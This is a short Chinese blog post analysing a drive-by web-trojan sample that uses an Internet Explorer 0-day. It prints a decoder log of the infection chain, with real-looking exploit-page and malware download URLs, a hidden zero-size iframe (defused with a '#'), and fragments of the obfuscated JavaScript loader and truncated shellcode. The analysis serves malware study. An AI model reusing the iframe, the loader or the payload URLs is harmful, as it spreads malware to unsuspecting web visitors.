|
Ie0day CVE 0806 .c 变种网马样本 分析
l FireFox + Firebug
l OD
l VC6.0
Log generated by anonymous use mdecoder 0.67
[root]http://www.wlkx.gov.cn/IMAGES/lzg/360se.htm
[exp]http://www.wlkx.gov.cn/IMAGES/lzg/CUTE-IE.html(Exploit.Ie0dayCVE0806.c)
[script]http://www.wlkx.gov.cn/IMAGES/lzg/pack.js
[script]http://www.wlkx.gov.cn/IMAGES/lzg/pack.css
[virus]http://dnf111.dnfcom.com/lzg.exe
[script]http://js.users.51.la/4162890.js
典型 iframe ：
添加个#防止真的挂马了，这博客大巴上的漏洞还真不少啊！
<#iframe src=http://www.wlkx.gov.cn/IMAGES/lzg/CUTE-IE.html width=0 height=0></iframe>
-----------------------------------------------------Pack.js----------------------------------------------------------
try {
new ActiveXObject ("cuteqq" );
}
catch (e ) {
var ANHEI= '\x25' + 'u5' + '8' + '5' +EasyJob ; // ANHEI = "%u5858";
var woshiahwm= "%u" ;
var anheywangma=unescape ;
}
----------------------------------------------------Pack.css --------------------------------------------------------
// Shellcode 部分
var AnHey = ANHEI +'CUTEQQ58'+'58CUTEQQ10EBCUTEQQ4B5BCUTEQQC'+ ……省略…… CUTEQQd2deCUTEQQ92d0CUTEQQc7d1CUTEQQ93daCUTEQQc5d8CUTEQQbdd8CUTEQQEAEACUTEQQEAEACUTEQQEAEACUTEQQEAEA';
----------------------------------------------------CUTE-IE.html----------------------------------------------------
id="evilcute"onclick="ahwm();"
STYLE="DISPLAY:NONE">
|
推荐
评论(0条)
